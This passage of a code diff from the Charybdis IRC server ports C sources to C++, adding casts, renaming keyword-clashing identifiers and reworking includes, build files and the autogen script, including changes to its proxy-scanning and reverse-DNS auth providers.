struct opm_scan *scan = (opm_scan *)ptr->data;
rb_close(scan->F);
rb_free(scan);
@ -197,9 +194,9 @@ static void
accept_opm(rb_fde_t *F, int status, struct sockaddr *addr, rb_socklen_t len, void *data)
{
struct auth_client *auth = NULL;
struct opm_listener *listener = data;
struct opm_listener *listener = (opm_listener *)data;
struct rb_sockaddr_storage localaddr;
unsigned int llen = sizeof(struct rb_sockaddr_storage);
rb_socklen_t llen = sizeof(struct rb_sockaddr_storage);
rb_dictionary_iter iter;
if(status != 0 || listener == NULL)
@ -216,8 +213,10 @@ accept_opm(rb_fde_t *F, int status, struct sockaddr *addr, rb_socklen_t len, voi
}
/* Correlate connection with client(s) */
RB_DICTIONARY_FOREACH(auth, &iter, auth_clients)
void *elem;
RB_DICTIONARY_FOREACH(elem, &iter, auth_clients)
{
auth = (auth_client *)elem;
if(GET_SS_FAMILY(&auth->c_addr) != GET_SS_FAMILY(&localaddr))
continue;
@ -264,10 +263,10 @@ accept_opm(rb_fde_t *F, int status, struct sockaddr *addr, rb_socklen_t len, voi
static void
opm_connected(rb_fde_t *F, int error, void *data)
{
struct opm_scan *scan = data;
struct opm_scan *scan = (opm_scan *)data;
struct opm_proxy *proxy = scan->proxy;
struct auth_client *auth = scan->auth;
struct opm_lookup *lookup = get_provider_data(auth, SELF_PID);
struct opm_lookup *lookup = (opm_lookup *)get_provider_data(auth, SELF_PID);
if(error || !opm_enable)
{
@ -311,7 +310,7 @@ static void
socks4_connected(struct opm_scan *scan)
{
struct auth_client *auth = scan->auth;
struct opm_lookup *lookup = get_provider_data(auth, SELF_PID);
struct opm_lookup *lookup = (opm_lookup *)get_provider_data(auth, SELF_PID);
uint8_t sendbuf[9]; /* Size we're building */
uint8_t *c = sendbuf;
@ -333,12 +332,12 @@ static void
socks5_connected(struct opm_scan *scan)
{
struct auth_client *auth = scan->auth;
struct opm_lookup *lookup = get_provider_data(auth, SELF_PID);
struct opm_lookup *lookup = (opm_lookup *)get_provider_data(auth, SELF_PID);
uint8_t sendbuf[25]; /* Size we're building */
uint8_t *c = sendbuf;
auth = scan->auth;
lookup = get_provider_data(auth, SELF_PID);
lookup = (opm_lookup *)get_provider_data(auth, SELF_PID);
/* Build the version header and socks request
* version header (3 bytes): version, number of auth methods, auth type (0 for none)
@ -377,7 +376,7 @@ static void
http_connect_connected(struct opm_scan *scan)
{
struct auth_client *auth = scan->auth;
struct opm_lookup *lookup = get_provider_data(auth, SELF_PID);
struct opm_lookup *lookup = (opm_lookup *)get_provider_data(auth, SELF_PID);
char sendbuf[128]; /* A bit bigger than we need but better safe than sorry */
char *c = sendbuf;
@ -401,8 +400,8 @@ http_connect_connected(struct opm_scan *scan)
static inline void
establish_connection(struct auth_client *auth, struct opm_proxy *proxy)
{
struct opm_lookup *lookup = get_provider_data(auth, SELF_PID);
struct opm_scan *scan = rb_malloc(sizeof(struct opm_scan));
struct opm_lookup *lookup = (opm_lookup *)get_provider_data(auth, SELF_PID);
struct opm_scan *scan = (opm_scan *)rb_malloc(sizeof(struct opm_scan));
struct opm_listener *listener;
struct rb_sockaddr_storage c_a, l_a;
int opt = 1;
@ -560,8 +559,10 @@ create_listener(const char *ip, uint16_t port)
/* Cancel clients that may be on old listener
* XXX - should rescan clients that need it
*/
RB_DICTIONARY_FOREACH(auth, &iter, auth_clients)
void *elem;
RB_DICTIONARY_FOREACH(elem, &iter, auth_clients)
{
auth = (auth_client *)elem;
opm_cancel(auth);
/* auth is now invalid as we have no reference */
}
@ -584,14 +585,14 @@ opm_scan(struct auth_client *auth)
lrb_assert(auth != NULL);
lookup = get_provider_data(auth, SELF_PID);
lookup = (opm_lookup *)get_provider_data(auth, SELF_PID);
set_provider_timeout_relative(auth, SELF_PID, opm_timeout);
lookup->in_progress = true;
RB_DLINK_FOREACH(ptr, proxy_scanners.head)
{
struct opm_proxy *proxy = ptr->data;
struct opm_proxy *proxy = (opm_proxy *)ptr->data;
//notice_client(auth->cid, "*** Scanning for proxy type %s", proxy->note);
establish_connection(auth, proxy);
}
@ -603,7 +604,7 @@ opm_scan(struct auth_client *auth)
static void
opm_initiate(struct auth_client *auth, uint32_t provider)
{
struct opm_lookup *lookup = get_provider_data(auth, SELF_PID);
struct opm_lookup *lookup = (opm_lookup *)get_provider_data(auth, SELF_PID);
uint32_t rdns_pid, ident_pid;
lrb_assert(provider != SELF_PID);
@ -650,7 +651,7 @@ opm_start(struct auth_client *auth)
static void
opm_cancel(struct auth_client *auth)
{
struct opm_lookup *lookup = get_provider_data(auth, SELF_PID);
struct opm_lookup *lookup = (opm_lookup *)get_provider_data(auth, SELF_PID);
if(lookup != NULL)
{
@ -660,7 +661,7 @@ opm_cancel(struct auth_client *auth)
RB_DLINK_FOREACH_SAFE(ptr, nptr, lookup->scans.head)
{
struct opm_scan *scan = ptr->data;
struct opm_scan *scan = (struct opm_scan *)ptr->data;
rb_close(scan->F);
rb_free(scan);
@ -683,8 +684,10 @@ opm_destroy(void)
rb_dictionary_iter iter;
/* Nuke all opm lookups */
RB_DICTIONARY_FOREACH(auth, &iter, auth_clients)
void *elem;
RB_DICTIONARY_FOREACH(elem, &iter, auth_clients)
{
auth = (auth_client *)elem;
opm_cancel(auth);
/* auth is now invalid as we have no reference */
}
@ -726,8 +729,10 @@ set_opm_enabled(const char *key __unused, int parc __unused, const char **parv)
listeners[LISTEN_IPV4].F = listeners[LISTEN_IPV6].F = NULL;
RB_DICTIONARY_FOREACH(auth, &iter, auth_clients)
void *elem;
RB_DICTIONARY_FOREACH(elem, &iter, auth_clients)
{
auth = (auth_client *)elem;
opm_cancel(auth);
/* auth is now invalid as we have no reference */
}
@ -772,7 +777,7 @@ static void
create_opm_scanner(const char *key __unused, int parc __unused, const char **parv)
{
int iport = atoi(parv[1]);
struct opm_proxy *proxy = rb_malloc(sizeof(struct opm_proxy));
struct opm_proxy *proxy = (opm_proxy *)rb_malloc(sizeof(struct opm_proxy));
if(iport <= 0 || iport > 65535)
{
@ -846,10 +851,12 @@ delete_opm_scanner(const char *key __unused, int parc __unused, const char **par
}
/* Abort remaining clients on this scanner */
RB_DICTIONARY_FOREACH(auth, &iter, auth_clients)
void *elem;
RB_DICTIONARY_FOREACH(elem, &iter, auth_clients)
{
rb_dlink_node *ptr;
struct opm_lookup *lookup = get_provider_data(auth, SELF_PID);
auth = (auth_client *)elem;
struct opm_lookup *lookup = (opm_lookup *)get_provider_data(auth, SELF_PID);
if(lookup == NULL)
continue;
@ -858,7 +865,7 @@ delete_opm_scanner(const char *key __unused, int parc __unused, const char **par
RB_DLINK_FOREACH(ptr, lookup->scans.head)
{
struct opm_scan *scan = ptr->data;
struct opm_scan *scan = (struct opm_scan *)ptr->data;
if(scan->proxy->port == proxy->port && scan->proxy->proto == proxy->proto)
{
@ -896,8 +903,10 @@ delete_opm_scanner_all(const char *key __unused, int parc __unused, const char *
rb_dlinkDelete(ptr, &proxy_scanners);
}
RB_DICTIONARY_FOREACH(auth, &iter, auth_clients)
void *elem;
RB_DICTIONARY_FOREACH(elem, &iter, auth_clients)
{
auth = (auth_client *)elem;
opm_cancel(auth);
/* auth is now invalid as we have no reference */
}
@ -933,13 +942,15 @@ struct auth_opts_handler opm_options[] =
};
struct auth_provider opm_provider =
{
.name = "opm",
.letter = 'O',
.destroy = opm_destroy,
.start = opm_start,
.cancel = opm_cancel,
.timeout = opm_cancel,
.completed = opm_initiate,
.opt_handlers = opm_options,
};
[]{
auth_provider ap {0};
ap.name = "opm";
ap.letter = 'O';
ap.destroy = opm_destroy;
ap.start = opm_start;
ap.cancel = opm_cancel;
ap.timeout = opm_cancel;
ap.completed = opm_initiate;
ap.opt_handlers = opm_options;
return ap;
}();

View file

@ -18,8 +18,7 @@
* POSSIBILITY OF SUCH DAMAGE.
*/
#include "stdinc.h"
#include "rb_commio.h"
#include <ircd/stdinc.h>
#include "authd.h"
#include "provider.h"
#include "notice.h"
@ -57,8 +56,8 @@ static int rdns_timeout = RDNS_TIMEOUT_DEFAULT;
static void
dns_answer_callback(const char *res, bool status, query_type type, void *data)
{
struct auth_client *auth = data;
struct user_query *query = get_provider_data(auth, SELF_PID);
struct auth_client *auth = (auth_client *)data;
struct user_query *query = (user_query *)get_provider_data(auth, SELF_PID);
lrb_assert(query != NULL);
@ -76,7 +75,7 @@ dns_answer_callback(const char *res, bool status, query_type type, void *data)
static void
client_fail(struct auth_client *auth, dns_message report)
{
struct user_query *query = get_provider_data(auth, SELF_PID);
struct user_query *query = (user_query *)get_provider_data(auth, SELF_PID);
lrb_assert(query != NULL);
@ -97,7 +96,7 @@ client_fail(struct auth_client *auth, dns_message report)
static void
client_success(struct auth_client *auth)
{
struct user_query *query = get_provider_data(auth, SELF_PID);
struct user_query *query = (user_query *)get_provider_data(auth, SELF_PID);
lrb_assert(query != NULL);
@ -119,8 +118,10 @@ rdns_destroy(void)
struct auth_client *auth;
rb_dictionary_iter iter;
RB_DICTIONARY_FOREACH(auth, &iter, auth_clients)
void *elem;
RB_DICTIONARY_FOREACH(elem, &iter, auth_clients)
{
auth = (auth_client *)elem;
if(get_provider_data(auth, SELF_PID) != NULL)
client_fail(auth, REPORT_FAIL);
/* auth is now invalid as we have no reference */
@ -130,7 +131,7 @@ rdns_destroy(void)
static bool
rdns_start(struct auth_client *auth)
{
struct user_query *query = rb_malloc(sizeof(struct user_query));
struct user_query *query = (user_query *)rb_malloc(sizeof(struct user_query));
auth_client_ref(auth);
@ -147,7 +148,7 @@ rdns_start(struct auth_client *auth)
static void
rdns_cancel(struct auth_client *auth)
{
struct user_query *query = get_provider_data(auth, SELF_PID);
struct user_query *query = (user_query *)get_provider_data(auth, SELF_PID);
if(query != NULL)
client_fail(auth, REPORT_FAIL);
@ -174,12 +175,14 @@ struct auth_opts_handler rdns_options[] =
};
struct auth_provider rdns_provider =
{
.name = "rdns",
.letter = 'R',
.destroy = rdns_destroy,
.start = rdns_start,
.cancel = rdns_cancel,
.timeout = rdns_cancel,
.opt_handlers = rdns_options,
};
[]{
auth_provider ap {0};
ap.name = "rdns";
ap.letter = 'R';
ap.destroy = rdns_destroy;
ap.start = rdns_start;
ap.cancel = rdns_cancel;
ap.timeout = rdns_cancel;
ap.opt_handlers = rdns_options;
return ap;
}();

View file

@ -32,8 +32,7 @@
* January 2016 --kaniini
*/
#include <rb_lib.h>
#include "setup.h"
#include <rb/rb.h>
#include "res.h"
#include "reslib.h"
@ -173,7 +172,7 @@ static time_t timeout_query_list(time_t now)
RB_DLINK_FOREACH_SAFE(ptr, next_ptr, request_list.head)
{
request = ptr->data;
request = (reslist *)ptr->data;
timeout = request->sentat + request->timeout;
if (now >= timeout)
@ -288,7 +287,7 @@ static void rem_request(struct reslist *request)
*/
static struct reslist *make_request(struct DNSQuery *query)
{
struct reslist *request = rb_malloc(sizeof(struct reslist));
struct reslist *request = (reslist *)rb_malloc(sizeof(struct reslist));
request->sentat = rb_current_time();
request->retries = 3;
@ -387,7 +386,7 @@ static struct reslist *find_id(int id)
RB_DLINK_FOREACH(ptr, request_list.head)
{
request = ptr->data;
request = (reslist *)ptr->data;
if (request->id == id)
return (request);

View file

@ -76,7 +76,7 @@
* - Dianora
*/
#include <rb_lib.h>
#include <rb/rb.h>
#ifndef _WIN32
@ -95,13 +95,12 @@ extern const char * get_windows_nameservers(void);
typedef struct rb_addrinfo rb_addrinfo;
#endif
#include "stdinc.h"
#include "ircd_defs.h"
#include "ircd.h"
#include <ircd/stdinc.h>
#include <ircd/ircd.h>
#include <ircd/match.h>
#include <ircd/logger.h>
#include "res.h"
#include "reslib.h"
#include "match.h"
#include "logger.h"
#define NS_TYPE_ELT 0x40 /* EDNS0 extended label type */
#define DNS_LABELTYPE_BITSTRING 0x41
@ -745,7 +744,7 @@ irc_ns_name_pton(const char *src, unsigned char *dst, size_t dstsiz)
while ((c = *src++) != 0) {
if (escaped) {
if (c == '[') { /* start a bit string label */
if ((cp = strchr(src, ']')) == NULL) {
if ((cp = (char *)strchr(src, ']')) == NULL) {
errno = EINVAL; /* ??? */
return(-1);
}
@ -768,16 +767,16 @@ irc_ns_name_pton(const char *src, unsigned char *dst, size_t dstsiz)
}
continue;
}
else if ((cp = strchr(digits, c)) != NULL) {
else if ((cp = (char *)strchr(digits, c)) != NULL) {
n = (cp - digits) * 100;
if ((c = *src++) == 0 ||
(cp = strchr(digits, c)) == NULL) {
(cp = (char *)strchr(digits, c)) == NULL) {
errno = EMSGSIZE;
return (-1);
}
n += (cp - digits) * 10;
if ((c = *src++) == 0 ||
(cp = strchr(digits, c)) == NULL) {
(cp = (char *)strchr(digits, c)) == NULL) {
errno = EMSGSIZE;
return (-1);
}
@ -1175,7 +1174,7 @@ mklower(int ch)
int
irc_res_mkquery(
const char *dname, /* domain name */
int class, int type, /* class and type of query */
int class_, int type, /* class and type of query */
unsigned char *buf, /* buffer to put query */
int buflen) /* size of buffer */
{
@ -1211,7 +1210,7 @@ irc_res_mkquery(
cp += n;
buflen -= n;
IRC_NS_PUT16(type, cp);
IRC_NS_PUT16(class, cp);
IRC_NS_PUT16(class_, cp);
hp->qdcount = htons(1);
return (cp - buf);

View file

@ -119,7 +119,7 @@ extern unsigned int irc_ns_get16(const unsigned char *src);
extern unsigned long irc_ns_get32(const unsigned char *src);
extern void irc_ns_put16(unsigned int src, unsigned char *dst);
extern void irc_ns_put32(unsigned long src, unsigned char *dst);
extern int irc_res_mkquery(const char *dname, int class, int type, unsigned char *buf, int buflen);
extern int irc_res_mkquery(const char *dname, int class_, int type, unsigned char *buf, int buflen);
extern char irc_domain[IRCD_RES_HOSTLEN + 1];

View file

@ -29,8 +29,7 @@
*/
#ifdef _WIN32
#include <rb_lib.h>
#include <rb/rb.h>
#include <windows.h>
#include <iphlpapi.h>
@ -51,7 +50,7 @@ const char *get_windows_nameservers(void);
static int
get_iphlpapi_dns_info(char *ret_buf, size_t ret_size)
{
FIXED_INFO *fi = alloca(sizeof(*fi));
FIXED_INFO *fi = (FIXED_INFO *)alloca(sizeof(*fi));
DWORD size = sizeof(*fi);
typedef DWORD(WINAPI * get_net_param_func) (FIXED_INFO *, DWORD *);
get_net_param_func xxGetNetworkParams; /* available only on Win-98/2000+ */
@ -79,7 +78,7 @@ get_iphlpapi_dns_info(char *ret_buf, size_t ret_size)
if((res != ERROR_BUFFER_OVERFLOW) && (res != ERROR_SUCCESS))
goto quit;
fi = alloca(size);
fi = (FIXED_INFO *)alloca(size);
if(!fi || (*xxGetNetworkParams) (fi, &size) != ERROR_SUCCESS)
goto quit;
@ -135,7 +134,7 @@ get_res_nt(HKEY hKey, const char *subkey, char **obuf)
result = RegQueryValueEx(hKey, subkey, 0, NULL, NULL, &size);
if((result != ERROR_SUCCESS && result != ERROR_MORE_DATA) || !size)
return 0;
*obuf = rb_malloc(size + 1);
*obuf = (char *)rb_malloc(size + 1);
if(!*obuf)
return 0;

View file

@ -1,4 +1,4 @@
#! /bin/sh
#!/bin/bash
TOP_DIR=$(dirname $0)
LAST_DIR=$PWD
@ -45,52 +45,50 @@ parse_options ()
done
}
run_or_die ()
{
COMMAND=$1
# check for empty commands
if test -z "$COMMAND" ; then
echo "*warning* no command specified"
echo -e "\033[1;5;31mERROR\033[0m No command specified!"
return 1
fi
shift;
shift;
OPTIONS="$@"
# print a message
echo -n "*info* running $COMMAND"
if test -n "$OPTIONS" ; then
echo " ($OPTIONS)"
echo -en "\033[1m$COMMAND $OPTIONS\033[0m ... "
else
echo
echo -en "\033[1m$COMMAND\033[0m ... "
fi
# run or die
$COMMAND $OPTIONS ; RESULT=$?
if test $RESULT -ne 0 ; then
echo "*error* $COMMAND failed. (exit code = $RESULT)"
echo -e "\033[1;5;31mERROR\033[0m $COMMAND failed. (exit code = $RESULT)"
exit 1
fi
echo -e "\033[0;32mOK\033[0m"
return 0
}
parse_options "$@"
echo "Building librb autotools files."
cd "$TOP_DIR"/librb
sh autogen.sh
echo "Building main autotools files."
cd "$LAST_DIR"
echo "*** Generating Charybdis build..."
run_or_die $ACLOCAL -I m4
run_or_die $LIBTOOLIZE --force --copy
run_or_die $AUTOHEADER
run_or_die $AUTOCONF
run_or_die $AUTOMAKE --add-missing --copy
#run_or_die $SHTOOLIZE all
WCL_CONFIGURE=`wc -l ./configure`
echo -e "\033[1;30m*\033[0m $WCL_CONFIGURE"
echo
echo -e "\033[1;32m*\033[0m Ready to configure Charybdis."
echo -e "\033[1;5;33m*\033[0m Now run ./configure"

View file

@ -1,16 +1,54 @@
pkglibexec_PROGRAMS = bandb
bin_PROGRAMS = bantool
AM_CFLAGS=$(WARNFLAGS)
AM_CFLAGS = \
@SQLITE_CFLAGS@
AM_CPPFLAGS = -I../include -I../librb/include @SQLITE_INCLUDES@
AM_CPPFLAGS += -DSQLITE_THREADSAFE=0 -DSQLITE_OMIT_LOAD_EXTENSION
AM_CPPFLAGS = \
-DSQLITE_THREADSAFE=0 \
-DSQLITE_OMIT_LOAD_EXTENSION \
-I$(top_srcdir)/include \
@BOOST_CPPFLAGS@
bandb_SOURCES = bandb.c rsdb_sqlite3.c rsdb_snprintf.c
EXTRA_bandb_SOURCES = sqlite3.c
bandb_LDADD = ../librb/src/librb.la @SQLITE_LD@ @SQLITE_OBJ@
bandb_DEPENDENCIES = @SQLITE_OBJ@
AM_LDFLAGS = \
-L$(top_srcdir)/rb \
@BOOST_LDFLAGS@
bantool_SOURCES = bantool.c rsdb_sqlite3.c rsdb_snprintf.c
EXTRA_bantool_SOURCES = sqlite3.c
bantool_LDADD = ../librb/src/librb.la @SQLITE_LD@ @SQLITE_OBJ@
bantool_DEPENDENCIES = @SQLITE_OBJ@
bin_PROGRAMS = bandb
bandb_DEPENDENCIES = \
@SQLITE_OBJ@
bandb_LDADD = \
-lrb \
@SQLITE_LDFLAGS@ \
@SQLITE_OBJ@ \
@SQLITE_LIBS@ \
@BOOST_LIBS@
EXTRA_bandb_SOURCES = \
sqlite3.c
bandb_SOURCES = \
bandb.cc \
rsdb_sqlite3.c \
rsdb_snprintf.c
bin_PROGRAMS += bantool
bantool_DEPENDENCIES = \
@SQLITE_OBJ@
bantool_LDADD = \
-lrb \
@SQLITE_LDFLAGS@ \
@SQLITE_LIBS@ \
@SQLITE_OBJ@ \
@BOOST_LIBS@
EXTRA_bantool_SOURCES = \
sqlite3.c
bantool_SOURCES = \
bantool.cc \
rsdb_sqlite3.c \
rsdb_snprintf.c

View file

@ -27,11 +27,9 @@
* IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#include "setup.h"
#include <rb_lib.h>
#include <stdio.h>
#include <rb/rb.h>
#include "rsdb.h"
#include "ircd_defs.h"
#include <ircd/defaults.h>
#define MAXPARA 10

View file

@ -39,7 +39,7 @@
#include <stdlib.h>
#include <time.h>
#include "stdinc.h"
#include <ircd/stdinc.h>
#include "rsdb.h"
#define EmptyString(x) ((x == NULL) || (*(x) == '\0'))
@ -92,7 +92,7 @@ struct counter
struct flags
{
bool none;
bool export;
bool export_;
bool import;
bool verify;
bool vacuum;
@ -148,7 +148,7 @@ main(int argc, char *argv[])
break;
case 'e':
flag.none = false;
flag.export = true;
flag.export_ = true;
break;
case 'u':
flag.none = false;
@ -179,11 +179,11 @@ main(int argc, char *argv[])
if(flag.none)
print_help(EXIT_FAILURE);
if((flag.import && flag.export) || (flag.export && flag.wipe)
|| (flag.verify && flag.pretend) || (flag.export && flag.pretend))
if((flag.import && flag.export_) || (flag.export_ && flag.wipe)
|| (flag.verify && flag.pretend) || (flag.export_ && flag.pretend))
{
fprintf(stderr, "* Error: Conflicting flags.\n");
if(flag.export && flag.pretend)
if(flag.export_ && flag.pretend)
fprintf(stderr, "* There is nothing to 'pretend' when exporting.\n");
fprintf(stderr, "* For an explination of commands, run: %s -h\n", me);
@ -239,7 +239,7 @@ main(int argc, char *argv[])
if(flag.import)
import_config(conf, i);
if(flag.export)
if(flag.export_)
export_config(conf, i);
if(flag.import && flag.pretend == false)

View file

@ -1,6 +1,10 @@
#ifndef INCLUDED_rsdb_h
#define INCLUDED_rsdb_h
#ifdef __cplusplus
extern "C" {
#endif
/* error handler callback */
typedef void rsdb_error_cb(const char *);
@ -37,5 +41,8 @@ void rsdb_transaction(rsdb_transtype type);
int rs_vsnprintf(char *dest, const size_t bytes, const char *format, va_list args);
int rs_snprintf(char *dest, const size_t bytes, const char *format, ...);
#ifdef __cplusplus
}
#endif
#endif

View file

@ -6,7 +6,7 @@
* do so under the terms of the GNU General Public License under which
* this library is distributed.
*/
#include "stdinc.h"
#include <ircd/stdinc.h>
#include "rsdb.h"
/*

View file

@ -28,7 +28,7 @@
* IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#include "stdinc.h"
#include <ircd/stdinc.h>
#include "rsdb.h"
#include <sqlite3.h>

1
boost Submodule

@ -0,0 +1 @@
Subproject commit ea0209516426e4b358204b8b50d093d001c00f54

1
charybdis/.gitignore vendored Normal file
View file

@ -0,0 +1 @@
charybdis

26
charybdis/Makefile.am Normal file
View file

@ -0,0 +1,26 @@
prefix = @prefix@
AM_CPPFLAGS = \
-I$(top_srcdir)/include \
@LTDLINCL@ \
@BOOST_CPPFLAGS@
AM_LDFLAGS = \
-dlopen self
AM_LDFLAGS += \
-L$(top_srcdir)/ircd \
-L$(top_srcdir)/rb \
@BOOST_LDFLAGS@
bin_PROGRAMS = charybdis
charybdis_SOURCES = \
charybdis.cc
charybdis_LDADD = \
-lircd \
-lrb \
@LIBLTDL@ \
@BOOST_LIBS@

31
charybdis/charybdis.cc Normal file
View file

@ -0,0 +1,31 @@
/*
* Copyright (C) 2016 Charybdis Development Team
*
* Permission to use, copy, modify, and/or distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice is present in all copies.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
* INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
* IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
*/
#include <rb/rb.h>
#include <ircd/ircd.h>
extern int charybdis_main(int argc, char *const argv[]);
int main(int argc, char *argv[])
{
return charybdis_main(argc, argv);
}

File diff suppressed because it is too large Load diff

View file

@ -33,4 +33,3 @@ install: install-mkdirs
-@if test -f $(DESTDIR)$(sysconfdir)/links.txt; then \
$(RM) $(DESTDIR)$(sysconfdir)/links.txt; \
fi

View file

@ -1,10 +1,99 @@
AM_CPPFLAGS = -I$(top_srcdir)/include -I$(top_srcdir)/librb/include $(LTDLINCL)
AM_LDFLAGS = -module -export-dynamic -avoid-version -no-undefined -shared
AM_LDFLAGS += -export-symbols-regex _mheader
LIBS += $(top_srcdir)/librb/src/librb.la $(top_srcdir)/ircd/libircd.la
extensiondir=@moduledir@/extensions
AM_CPPFLAGS = \
-I$(top_srcdir)/include \
$(LTDLINCL) \
@BOOST_CPPFLAGS@
AM_LDFLAGS = \
-L$(top_srcdir)/ircd \
-L$(top_srcdir)/rb \
@BOOST_LDFLAGS@
AM_LDFLAGS += \
-module \
-export-dynamic \
-avoid-version \
-no-undefined \
-shared \
-export-symbols-regex _mheader
AM_LDFLAGS += \
-lircd \
-lrb \
@LIBLTDL@ \
@BOOST_LIBS@
chm_adminonly_la_SOURCES = chm_adminonly.cc
chm_operonly_la_SOURCES = chm_operonly.cc
chm_operonly_compat_la_SOURCES = chm_operonly_compat.cc
chm_insecure_la_SOURCES = chm_insecure.cc
chm_nonotice_la_SOURCES = chm_nonotice.cc
chm_operpeace_la_SOURCES = chm_operpeace.cc
chm_quietunreg_compat_la_SOURCES = chm_quietunreg_compat.cc
chm_spamfilter_la_SOURCES = chm_spamfilter.cc
chm_sslonly_la_SOURCES = chm_sslonly.cc
chm_sslonly_compat_la_SOURCES = chm_sslonly_compat.cc
createauthonly_la_SOURCES = createauthonly.cc
createoperonly_la_SOURCES = createoperonly.cc
extb_account_la_SOURCES = extb_account.cc
extb_canjoin_la_SOURCES = extb_canjoin.cc
extb_channel_la_SOURCES = extb_channel.cc
extb_hostmask_la_SOURCES = extb_hostmask.cc
extb_oper_la_SOURCES = extb_oper.cc
extb_server_la_SOURCES = extb_server.cc
extb_ssl_la_SOURCES = extb_ssl.cc
extb_realname_la_SOURCES = extb_realname.cc
extb_usermode_la_SOURCES = extb_usermode.cc
extb_extgecos_la_SOURCES = extb_extgecos.cc
extb_combi_la_SOURCES = extb_combi.cc
force_user_invis_la_SOURCES = force_user_invis.cc
helpops_la_SOURCES = helpops.cc
hurt_la_SOURCES = hurt.cc
ip_cloaking_la_SOURCES = ip_cloaking.cc
ip_cloaking_old_la_SOURCES = ip_cloaking_old.cc
ip_cloaking_3_0_la_SOURCES = ip_cloaking_3.0.cc
ip_cloaking_4_0_la_SOURCES = ip_cloaking_4.0.cc
override_la_SOURCES = override.cc
restrict_unauthenticated_la_SOURCES = restrict-unauthenticated.cc
sno_channelcreate_la_SOURCES = sno_channelcreate.cc
sno_farconnect_la_SOURCES = sno_farconnect.cc
sno_globalkline_la_SOURCES = sno_globalkline.cc
sno_globalnickchange_la_SOURCES = sno_globalnickchange.cc
sno_globaloper_la_SOURCES = sno_globaloper.cc
sno_whois_la_SOURCES = sno_whois.cc
umode_noctcp_la_SOURCES = umode_noctcp.cc
m_adminwall_la_SOURCES = m_adminwall.cc
m_echotags_la_SOURCES = m_echotags.cc
m_extendchans_la_SOURCES = m_extendchans.cc
m_findforwards_la_SOURCES = m_findforwards.cc
m_identify_la_SOURCES = m_identify.cc
m_locops_la_SOURCES = m_locops.cc
m_mkpasswd_la_SOURCES = m_mkpasswd.cc
m_ojoin_la_SOURCES = m_ojoin.cc
m_okick_la_SOURCES = m_okick.cc
m_omode_la_SOURCES = m_omode.cc
m_opme_la_SOURCES = m_opme.cc
m_sendbans_la_SOURCES = m_sendbans.cc
m_webirc_la_SOURCES = m_webirc.cc
m_remove_la_SOURCES = m_remove.cc
m_roleplay_la_SOURCES = m_roleplay.cc
hide_uncommon_channels_la_SOURCES = hide_uncommon_channels.cc
no_kill_services_la_SOURCES = no_kill_services.cc
no_locops_la_SOURCES = no_locops.cc
no_oper_invis_la_SOURCES = no_oper_invis.cc
spamfilter_nicks_la_SOURCES = spamfilter_nicks.cc
spy_admin_notice_la_SOURCES = spy_admin_notice.cc
spy_info_notice_la_SOURCES = spy_info_notice.cc
spy_links_notice_la_SOURCES = spy_links_notice.cc
spy_motd_notice_la_SOURCES = spy_motd_notice.cc
spy_stats_notice_la_SOURCES = spy_stats_notice.cc
spy_stats_p_notice_la_SOURCES = spy_stats_p_notice.cc
spy_trace_notice_la_SOURCES = spy_trace_notice.cc
example_module_la_SOURCES = example_module.cc
extension_LTLIBRARIES = \
chm_adminonly.la \
chm_operonly.la \
@ -77,6 +166,7 @@ extension_LTLIBRARIES = \
if PCRE
extension_LTLIBRARIES += spamfilter_expr.la
spamfilter_expr_la_SOURCES = spamfilter_expr.cc
spamfilter_expr_la_CPPFLAGS = $(AM_CPPFLAGS) $(PCRE_CFLAGS)
spamfilter_expr_la_LIBADD = $(PCRE_LIBS)

View file

@ -1,14 +1,14 @@
#include "stdinc.h"
#include "modules.h"
#include "hook.h"
#include "client.h"
#include "ircd.h"
#include "send.h"
#include "s_conf.h"
#include "s_user.h"
#include "s_serv.h"
#include "numeric.h"
#include "chmode.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/hook.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
#include <ircd/s_conf.h>
#include <ircd/s_user.h>
#include <ircd/s_serv.h>
#include <ircd/numeric.h>
#include <ircd/chmode.h>
static const char chm_adminonly_desc[] =
"Enables channel mode +A that blocks non-admins from joining a channel";

View file

@ -1,14 +1,14 @@
#include "stdinc.h"
#include "modules.h"
#include "hook.h"
#include "client.h"
#include "ircd.h"
#include "send.h"
#include "s_conf.h"
#include "s_user.h"
#include "s_serv.h"
#include "numeric.h"
#include "chmode.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/hook.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
#include <ircd/s_conf.h>
#include <ircd/s_user.h>
#include <ircd/s_serv.h>
#include <ircd/numeric.h>
#include <ircd/chmode.h>
static const char chm_insecure_desc[] =
"Adds channel mode +U that allows non-SSL users to join a channel, "

View file

@ -21,19 +21,19 @@
* POSSIBILITY OF SUCH DAMAGE.
*/
#include "stdinc.h"
#include "modules.h"
#include "hook.h"
#include "client.h"
#include "ircd.h"
#include "send.h"
#include "s_conf.h"
#include "s_user.h"
#include "s_serv.h"
#include "numeric.h"
#include "chmode.h"
#include "messages.h"
#include "inline/stringops.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/hook.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
